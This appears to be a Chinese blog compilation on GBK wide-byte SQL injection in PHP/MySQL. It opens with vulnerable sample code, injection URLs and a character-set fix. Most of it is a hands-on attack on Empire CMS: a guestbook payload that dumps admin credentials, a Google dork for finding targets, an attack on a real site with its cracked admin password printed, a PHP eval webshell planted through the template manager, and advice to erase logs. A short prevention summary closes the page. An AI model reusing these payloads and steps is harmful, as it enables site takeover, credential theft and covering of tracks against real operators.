宽字节(宽字符)注入

宽字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠/,变成了 %df/’,其中/的十六进制是 %5C ,那么现在 %df/’ = %df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df/’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

 
 
  1. $conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); 
  2. mysql_query(”SET NAMES ‘GBK’”); 
  3. mysql_select_db(”test”,$conn); 
  4. $user = mysql_escape_string($_GET['user']); 
  5. $pass = mysql_escape_string($_GET['pass']); 
  6. $sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”; 
  7. $result = mysql_query($sql,$conn); 
  8. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { 
  9. $rows[] = $row
  10. ?> 

则通过以下注入即可:

http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。如:

 
 
  1. mysql_query(”SET character_set_client=binary”); 

==================================================================

 

php关于宽字节编码的一个实验
2010/12/01 06:06 P.M.

以前对宽字节还是停留在GET上,得益于toby57牛的某篇文章,深入了一下

GPC打开了

提交:‍誠');phpinfo();//

转换:‍誠/');phpinfo();//

 

<?php

$config=array('誠/');phpinfo();//');

?>

php开始处理:D5 5C 5C 27... ,先处理转义,/ 没有了特殊作用,变成了 D5 / ' ...,开始执行:‍誠'...,单引号引入,phpinfo执行。

运气好的话写shell?POST提交注入?

SET character_set_connection=$dbcharset, character_set_results=$dbcharset, character_set_client=binary

前两句防止乱码,最后一句防止宽字节注入。

Toby57:

在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

iconv('GBK', 'UTF-8', $_GET['para']); //由GBK编码转为UTF-8

test.php?para=a%e5%27

可在末尾引入chr(39) 即 '

$username=iconv('UTF-8', 'GBK', $_GET['para']); //由UTF-8编码转为GBK

test.php?para=a%e9%8c%a6

可在末尾引入chr(92) 即 /

==================================================================

 

对宽字符的一些测试

一直觉得对这类漏洞成因了解不够透彻,今天用了一些简单测试。

 
 
  1. <?php 
  2. //Magic_quote_GPC = ON 
  3. $conn = mysql_connect('127.0.0.1','root','root'); 
  4. mysql_select_db('mysql',$conn); 
  5. mysql_query("SET character_set_client='binary'"or die(mysql_error()); 
  6. //mysql_query("SET character_set_client='GBK'") or die(mysql_error()); 
  7. //$username=mb_convert_encoding($_GET['para'],'utf-8','gbk'); 
  8. //$username=iconv('GBK', 'UTF-8', $_GET['para']); 
  9. $username=iconv('UTF-8''GBK'$_GET['para']); 
  10. //$username = stripslashes($_GET['para']); 
  11. $querystr = "SELECT host FROM user WHERE user='{$username}'"
  12. echo $querystr."<br/>"
  13. if ($res = mysql_query($querystr)){ 
  14. echo "OK..<br/>"
  15. else 
  16. echo "Bad..:::".mysql_error()."<br/>"
  17. echo dumpstr($username); 
  18. function dumpstr($string){ 
  19. $tmpstr = ''
  20. for($i=0;isset($string[$i]);$i++){ 
  21. $tmpstr .= "chr(".ord($string[$i]).")."
  22. return substr($tmpstr,0,-1); 
  23.  
  24. ?> 

在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。
iconv('GBK', 'UTF-8', $_GET['para']);//由GBK编码转为UTF-8
test.php?para=a%e5%27
可在末尾引入chr(39)即'。
$username=iconv('UTF-8', 'GBK', $_GET['para']);//由UTF-8编码转为GBK
test.php?para=a%e9%8c%a6
可在末尾引入chr(92)即/。

==================================================================

 

还是宽字符。。

今天 发现了以前对mysql_real_escape_string的误解,以前以为SET NAMES gbk加上real_escape就安全了,结果不是这样,real_escape会根据当前连接的字符集进行编码,但仅仅SET NAMES并不会改变字符集,测试 如下:

返回

要想通知PHP改变当前连接字符集还得使用mysql_set_charset()才行,做个简单记录。
参考 :
http://www.laruence.com/2010/04/12/1396.html
http://www.mirecle.com/2010/04/13/php-in-the-set-names-and-mysql_set_charset.html
http://topic.csdn.net/u/20090202/10/bc90e3a2-660b-443d-b1d0-6a644601bdd6.html

==================================================================

 

今天看了bhst的这篇文章

http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1

了解了宽字符注入的一些东西

  1. php 使用 php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处理的
  2. 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的

例如这里:

http://localhost/gbk.php?username=%df%27 //多字节编码
%df%27=運'     //看,出单引号了,后面就可以构造了

http://localhost/test/b.php?username=%df%27 or 1%23

sql语句类似这样: SELECT * FROM demo WHERE username = '運' or 1#' LIMIT 1

这样就可以注入啦

在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符/的编码为5c,

结果就是:

神马php自带的addslashes,mysql_escape_string,

还有php.ini的magic_quotes_gpc神马的,都无法过滤宽字节搞出来的单引号,注入就来了

现在修补办法就是设置设置客户端的字符集为二进制,

类似这样:

  1. mysql_query("SET CHARACTER SET 'gbk'", $conn); //不安全的
  2. mysql_query("SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary", $conn); //安全的

当然,这样还不能高枕无忧,还需注意,在下面的使用中,不要将用户输入的东西随便转换编码,

因为一旦转换,宽字符就又来了,上面写的二进制可只有gbk,你要是转成utf-8,那宽字符不是又来了么。

 

特别记录下,自己以后写代码神马的要注意下,假如要挖洞,也要注意,那个ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是这样的吗。

==================================================================

 

帝国CMS系统注入漏洞分析

在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1 and 1=1/*
http://www.hackest.cn/article.php?id=1 and 1=2/*
这个经典的判断目标是否存在注入的例子就是单字节注入。
说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

 

 
 
  1. <?php 
  2. $conn=mysql_connect("localhost","root","hackest"); 
  3. mysql_query("SET NAMES 'GBK'"); 
  4. mysql_select_db("test",$conn); 
  5. $user=mysql_escape_string($_GET['user']); 
  6. $pass=mysql_escape_string($_GET['pass']); 
  7. $sql="select * from cms_user where username='$user' and password='$pass'"
  8. $result=mysql_query($sql,$conn); 
  9. while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { 
  10. $rows[]=$row
  11. ?> 

则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * from cms_user where username='運'or 1=1 limit 1,1#' and password="

---------------------------------------------------------------------------------------
以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^
---------------------------------------------------------------------------------------

二、实践

理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

 

 
 
  1. //权限 
  2. if($gbr['groupid']) 
  3. include("../../class/user.php"); 
  4. $user=islogin(); 
  5. include("../../class/MemberLevel.php"); 
  6. if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level]) 
  7. echo"<script>alert('您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!');history.go(-1);</script>"
  8. exit(); 
  9. esetcookie("gbookbid",$bid,0); 
  10. $bname=$gbr['bname']; 
  11. $search="&bid=$bid"
  12. $page=(int)$_GET['page']; 
  13. $start=(int)$_GET['start']; 
  14. $line=12;//每页显示条数 
  15. $page_line=12;//每页显示链接数 
  16. $offset=$start+$page*$line;//总偏移量 
  17. $totalnum=(int)$_GET['totalnum']; 
  18. if($totalnum
  19. $num=$totalnum
  20. else 
  21. $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0"
  22. $num=$empire->gettotal($totalquery);//取得总条数 
  23. $search.="&totalnum=$num"
  24. $query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊! 
  25. $query=$query." order by lyid desc limit $offset,$line"
  26. $sql=$empire->query($query); 
  27. $listpage=page1($num,$line,$page_line,$start,$page,$search); 
  28. $url="<a href=../../../>".$fun_r['index']."</a> > ".$fun_r['saygbook']; 
  29. ?> 

注 意注释部分! 作者:hackest [H.S.T.]
注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:
姓名:123縗/
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
联系电话:随便写
留言内容:随便写

填好后如图2

点击在新窗口中浏览此图片

提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。

点击在新窗口中浏览此图片

wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!
如果您的浏览器没有自动跳转,请点击这里

而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没有什么意外的收获,其博客、论坛、邮箱、官 方站点FTP、官方站点3389等均无法进入,所以官方是搞不到Webshell了。
三、替补

官方进不去就找个替罪羊吧,Google以关键字“inurl:e/tool/gbook/?bid=1”搜索,搜出来的站点99%都是用帝国CMS的。随便找了一个,测试证明,漏洞存在,如图4。

点击在新窗口中浏览此图片

可恨的是这个MD5值也是无法在线查询出来的,又得开动彩虹表跑跑咯,把刚才官方的那个MD5也一起跑了吧,出去吃完饭回来,结果就出来了,如图5。

点击在新窗口中浏览此图片

顺 便啰嗦一下,如果有志于网络安全事业的发展,彩虹表还是必不可少的。什么是彩虹表呢?就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合, 不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

该进后台了,后台地址默认为e/admin/。用户名:joycar,密码:zuxywz119,顺便进入后台,如图6。

点击在新窗口中浏览此图片

进 了后台应该怎么样才能拿到Webshell呢?添加上传后缀,我试了下,不可行。网上搜了一下相关资料,原来在模板管理那里有猫腻哦。进入后台-> 模板管理->自定义页面->增加自定义页面。页面名称随便填,文件名也得取一个,文件名处可以填指定路径,分类不必理会,页面内容处写入如下 代码:

</?php eval($_POST[cmd]);?/>

一般的PHP一句话马的代码 是<?php eval($_POST[cmd]);?>,其中cmd是密码。但是这里一定要按上面要求的前后都要加上/,不加的话就不会成功,非常重要,务必记 住!然后点击提交,再返回到管理自定义页面,点击刚才起的页面名称,直接跳转至e/admin/template/hackest.php,无法找到该 页,路径不对嘛,当然找不到了,改成e/admin/hackest.php,再访问,一片空白,心中窃喜,有戏了……如图7、图8。

点击在新窗口中浏览此图片

点击在新窗口中浏览此图片

再用lanker微型PHP+ASP管理器1.0双用版连接一句话,提交下环境变量看看,如图9。

点击在新窗口中浏览此图片

再上传一个PHP大马就大功告成了,是Linux系统的,发行版是Red Hat Enterprise Linux AS release 4,有溢出保护,提不了权咯,如图10。

点击在新窗口中浏览此图片

最 后千万记得把刚才爆用户名和密码的那条留言删除,再把你添加的自定义页面也删除,后台日志也处理下。好多人都不知道什么叫清理日志,其实就是尽可能地把关 于你的操作的相关记录删除。比如你登录了3389,系统日志会记录,比如你登录了FTP,应用程序日志也会记录,比如你对这个网站做了注入攻击,IIS或 者其他WEB应用程序也会记录……技术过硬的管理员能从这些日志里分析出你的攻击方法,攻击来源等细节,安全工作一定要做足,万万马虎不得。

四、修补

官方虽然也被爆了一段时间了,但是似乎并没有引起足够的重视,截止至发稿日仍然没看到官方有任何关于修补此漏洞的解决方案(其实也不能完全算是帝国CMS的错,编码这个问题最近闹得比较凶-_-)。

解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SET character_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。


大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成/'。比如字 符%bf在满足上述条件的情况下会变成%bf/'。其中反斜杠(/)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf /'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf /'=%bf%5c%27=縗'。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小 工具来转换一下,如图1。
 
打开Google以关键字inurl:e/tool/gbook/?bid=1进行搜索。 
搜索出来的是留言本,其实就是留言本出现漏洞了。 
主要填写您的姓名和联系邮箱这两处,其它的随便填。 
您的姓名:縗/ 
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/* 
然后进行提交返回页面即爆出用户名密码。人品好的话,密码破解成功后进入网站后台,后台地址 e/admin/ 
接着拿shell,进入后台后点顶部模板管理。然后左边的自定义页面-增加自定义页面,页面内容填写PHP一句话,</?php eval($_POST[cmd]);?/>完了,回到管理自定义页面,点击刚才起的页面名称。页面直接跳转到e/admin/template /x.php,提示会找不到页面,去掉template即可。真实地址是e/admin/x.php,如显示一片空白的话就成功了。 
最后用lanker微型PHP+ASP双用版连接一句话即可。 
提示:别死心眼啊,自定义页面内容可以改成ASP的。

 

SQL注入字节注入都是常见的安全漏洞类型。下面我将简要介绍这两种注入方式。 1. SQL注入: SQL注入是一种在应用程序中利用不正确处理用户输入的漏洞,攻击者可以通过在用户输入中插入恶意的SQL代码来执行非授权的数据库操作。这可能导致数据泄露、数据篡改、绕过认证、获取系统权限等问题。 预防SQL注入的措施包括: - 使用参数化查询或预编译语句来处理数据库查询,而不是直接拼接用户输入的数据。 - 对用户输入进行严格的验证和过滤,避免将未经处理的输入直接传递给数据库查询。 - 最小化数据库用户的权限,并且仅分配最低必要的权限。 2. 字节注入字节注入是一种特定于某些数据库和编码方式的注入攻击方法。它利用了某些编码方式对特殊字符的处理不当,从而绕过了应用程序对输入进行过滤和验证的机制。攻击者可以通过插入字节字符来篡改SQL语句或绕过认证。 预防字节注入的措施包括: - 使用合适的编码方式,例如UTF-8,以避免特殊字符被误解释。 - 进行输入验证和过滤,确保特殊字符被正确处理,不会导致SQL语句的非预期解析。 - 定期更新数据库和应用程序框架,以修复已知的字节注入漏洞。 总的来说,要防止SQL注入字节注入等安全漏洞,应该采取综合性的安全措施,包括输入验证、参数化查询、最小权限原则、使用最新版本的软件以及定期进行安全审计和漏洞扫描。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值